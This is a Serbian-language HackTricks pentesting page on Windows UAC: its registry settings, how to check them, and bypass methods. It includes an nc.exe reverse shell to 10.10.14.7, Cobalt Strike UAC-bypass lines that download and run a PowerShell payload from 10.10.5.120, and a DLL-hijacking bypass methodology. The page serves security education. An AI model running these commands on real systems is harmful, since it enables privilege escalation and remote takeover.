hacktricks/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

19 KiB

UAC - User Account Control

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

User Account Control (UAC) je funkcija koja omogućava zahtev za pristanak za povišene aktivnosti. Aplikacije imaju različite integritetne nivoe, i program sa visokim nivoom može obavljati zadatke koji potencijalno mogu ugroziti sistem. Kada je UAC omogućen, aplikacije i zadaci uvek se izvršavaju pod sigurnosnim kontekstom naloga koji nije administrator osim ako administrator eksplicitno odobri tim aplikacijama/zadacima pristup nivou administratora da bi se izvršavali na sistemu. To je funkcija koja štiti administratore od nenamernih promena, ali se ne smatra sigurnosnom granicom.

Za više informacija o nivoima integriteta:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Kada je UAC na snazi, administratoru je dodeljeno 2 tokena: standardni korisnički ključ, da obavlja redovne radnje kao običan nivo, i jedan sa administratorskim privilegijama.

Ova stranica detaljno opisuje kako UAC funkcioniše i uključuje proces prijavljivanja, korisničko iskustvo i arhitekturu UAC-a. Administratori mogu koristiti sigurnosne politike da konfigurišu kako UAC funkcioniše specifično za njihovu organizaciju na lokalnom nivou (koristeći secpol.msc), ili konfigurisati i distribuirati putem Group Policy Objects (GPO) u okruženju Active Directory domena. Različite postavke su detaljno opisane ovde. Postoje 10 postavki Group Policy-a koje se mogu postaviti za UAC. Sledeća tabela pruža dodatne detalje:

Postavka Group Policy-a Registry ključ Podrazumevano podešavanje
User Account Control: Admin Approval Mode for the built-in Administrator account FilterAdministratorToken Isključeno
User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop EnableUIADesktopToggle Isključeno
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode ConsentPromptBehaviorAdmin Zahtev za pristanak za ne-Windows binarne datoteke
User Account Control: Behavior of the elevation prompt for standard users ConsentPromptBehaviorUser Zahtev za akreditive na sigurnom desktopu
User Account Control: Detect application installations and prompt for elevation EnableInstallerDetection Omogućeno (podrazumevano za kućnu) Isključeno (podrazumevano za preduzeće)
User Account Control: Only elevate executables that are signed and validated ValidateAdminCodeSignatures Isključeno
User Account Control: Only elevate UIAccess applications that are installed in secure locations EnableSecureUIAPaths Omogućeno
User Account Control: Run all administrators in Admin Approval Mode EnableLUA Omogućeno
User Account Control: Switch to the secure desktop when prompting for elevation PromptOnSecureDesktop Omogućeno
User Account Control: Virtualize file and registry write failures to per-user locations EnableVirtualization Omogućeno

Teorija UAC Bypass-a

Neke programe automatski podiže ako korisnik pripada grupi administratora. Ovi binarni fajlovi imaju u svom Manifestu opciju autoElevate sa vrednošću True. Binarni fajl takođe mora biti potpisan od strane Microsoft-a.

Zatim, da bi se zaobišao UAC (podigao sa srednjeg nivoa integriteta na visoki) neki napadači koriste ovakve binarne fajlove da bi izvršili proizvoljan kod jer će biti izvršen iz procesa visokog nivoa integriteta.

Možete proveriti Manifest binarnog fajla koristeći alat sigcheck.exe iz Sysinternals-a. I možete videti nivo integriteta procesa koristeći Process Explorer ili Process Monitor (iz Sysinternals-a).

Provera UAC-a

Da potvrdite da li je UAC omogućen uradite:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Ako je 1, onda je UAC aktiviran, ako je 0 ili ne postoji, onda je UAC neaktivan.

Zatim proverite koji nivo je konfigurisan:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Ako je 0 onda, UAC neće tražiti potvrdu (kao onemogućeno)
  • Ako je 1 admin će biti zatražen korisničko ime i lozinku da izvrši binarni fajl sa visokim privilegijama (na Secure Desktop-u)
  • Ako je 2 (Uvek me obaveštavaj) UAC će uvek tražiti potvrdu od administratora kada pokuša da izvrši nešto sa visokim privilegijama (na Secure Desktop-u)
  • Ako je 3 kao 1 ali nije neophodno na Secure Desktop-u
  • Ako je 4 kao 2 ali nije neophodno na Secure Desktop-u
  • Ako je 5 (podrazumevano) tražiće potvrdu od administratora da pokrene ne-Windows binarne fajlove sa visokim privilegijama

Zatim, treba da pogledate vrednost LocalAccountTokenFilterPolicy
Ako je vrednost 0, tada samo korisnik sa RID 500 (ugrađeni Administrator) može obavljati administratorske zadatke bez UAC-a, a ako je 1, svi nalozi unutar grupe "Administratori" to mogu uraditi.

I, na kraju pogledajte vrednost ključa FilterAdministratorToken
Ako je 0 (podrazumevano), ugrađeni administratorski nalog može obavljati zadatke udaljene administracije, a ako je 1 ugrađeni administratorski nalog ne može obavljati zadatke udaljene administracije, osim ako je LocalAccountTokenFilterPolicy postavljen na 1.

Rezime

  • Ako je EnableLUA=0 ili ne postoji, nema UAC-a za bilo koga
  • Ako je EnableLua=1 i LocalAccountTokenFilterPolicy=1, Nema UAC-a za bilo koga
  • Ako je EnableLua=1 i LocalAccountTokenFilterPolicy=0 i FilterAdministratorToken=0, Nema UAC-a za RID 500 (Ugrađeni Administrator)
  • Ako je EnableLua=1 i LocalAccountTokenFilterPolicy=0 i FilterAdministratorToken=1, UAC za sve

Sve ove informacije mogu se prikupiti koristeći metasploit modul: post/windows/gather/win_privs

Takođe možete proveriti grupe vašeg korisnika i dobiti nivo integriteta:

net user %username%
whoami /groups | findstr Level

UAC zaobilazak

{% hint style="info" %} Imajte na umu da ako imate grafički pristup žrtvi, UAC zaobilazak je jednostavan jer jednostavno možete kliknuti na "Da" kada se pojavi UAC prozor. {% endhint %}

UAC zaobilazak je potreban u sledećoj situaciji: UAC je aktiviran, vaš proces se izvršava u kontekstu srednje integriteta, a vaš korisnik pripada grupi administratora.

Važno je napomenuti da je mnogo teže zaobići UAC ako je postavljen na najviši nivo sigurnosti (Uvek) nego ako je postavljen na bilo koji drugi nivo (Podrazumevano).

UAC onemogućen

Ako je UAC već onemogućen (ConsentPromptBehaviorAdmin je 0), možete izvršiti reverzni shell sa administratorskim privilegijama (visok nivo integriteta) koristeći nešto poput:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC zaobilaženje sa duplikacijom tokena

Veoma osnovno UAC "zaobilaženje" (potpisti pristup sistemu datoteka)

Ako imate shell sa korisnikom koji je unutar grupe Administratora, možete montirati C$ deljeni putem SMB (sistem datoteka) lokalno na novi disk i imaćete pristup svemu unutar sistema datoteka (čak i fascikli Administratora).

{% hint style="warning" %} Izgleda da ovaj trik više ne funkcioniše {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC zaobilaženje pomoću Cobalt Strike-a

Tehnike Cobalt Strike-a će raditi samo ako UAC nije postavljen na maksimalni nivo sigurnosti

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire i Metasploit takođe imaju nekoliko modula za bypass UAC-a.

KRBUACBypass

Dokumentacija i alat na https://github.com/wh0amitz/KRBUACBypass

UAC bypass eksploatacije

UACME koji je kompilacija nekoliko UAC bypass eksploatacija. Imajte na umu da će vam biti potrebno kompajlirati UACME korišćenjem Visual Studija ili msbuild-a. Kompilacija će kreirati nekoliko izvršnih datoteka (poput Source\Akagi\outout\x64\Debug\Akagi.exe), moraćete znati koja vam je potrebna.
Trebalo bi da budete oprezni jer će neki bypass-ovi pokrenuti neke druge programe koji će upozoriti korisnika da se nešto dešava.

UACME ima verziju izgradnje od koje je svaka tehnika počela da radi. Možete pretražiti tehniku koja utiče na vaše verzije:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Više UAC zaobilazaka

Sve tehnike korišćene ovde za zaobilaženje UAC zahtevaju potpuno interaktivnu ljusku sa žrtvom (obična nc.exe ljuska nije dovoljna).

Možete dobiti korišćenjem meterpreter sesije. Migrirajte na proces koji ima vrednost Session jednaku 1:

(explorer.exe bi trebalo da radi)

UAC zaobilaženje sa GUI

Ako imate pristup GUI možete jednostavno prihvatiti UAC prozor kada ga dobijete, zaista vam nije potreban zaobilazak. Dakle, pristup GUI-ju će vam omogućiti da zaobiđete UAC.

Osim toga, ako dobijete GUI sesiju koju je neko koristio (potencijalno putem RDP-a) postoje neki alati koji će se izvršavati kao administrator odakle biste mogli pokrenuti npr. cmd kao administratora direktno bez ponovnog dobijanja UAC prozora kao što je https://github.com/oski02/UAC-GUI-Bypass-appverif. Ovo može biti malo skrivenije.

Bučni brute-force UAC zaobilazak

Ako vam nije stalo do buke uvek možete pokrenuti nešto poput https://github.com/Chainski/ForceAdmin što traži privilegije za podizanje dok korisnik ne prihvati.

Vaš sopstveni zaobilazak - Osnovna metodologija UAC zaobilaska

Ako pogledate UACME primetićete da većina UAC zaobilazaka zloupotrebljava Dll Hijacking ranjivost (uglavnom pisanjem zlonamernog dll-a na C:\Windows\System32). Pročitajte ovo da biste naučili kako da pronađete Dll Hijacking ranjivost.

  1. Pronađite binarni fajl koji će automatski podići privilegije (proverite da kada se izvrši radi na visokom nivou integriteta).
  2. Pomoću procmon-a pronađite "NAME NOT FOUND" događaje koji mogu biti ranjivi na DLL Hijacking.
  3. Verovatno ćete morati da napišete DLL unutar nekih zaštićenih putanja (kao što je C:\Windows\System32) gde nemate dozvole za pisanje. To možete zaobići koristeći:
  4. wusa.exe: Windows 7, 8 i 8.1. Omogućava izvlačenje sadržaja CAB fajla unutar zaštićenih putanja (jer se ovaj alat izvršava na visokom nivou integriteta).
  5. IFileOperation: Windows 10.
  6. Pripremite skriptu za kopiranje vašeg DLL-a unutar zaštićene putanje i izvršite ranjivi i automatski podignuti binarni fajl.

Još jedna tehnika UAC zaobilaska

Sastoji se u praćenju da li autoElevated binarni fajl pokušava čitati iz registra ime/putanju binarnog fajla ili komande koja će biti izvršena (ovo je interesantnije ako binarni fajl traži ove informacije unutar HKCU).

Koristite Trickest da lako izgradite i automatizujete tokove rada pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}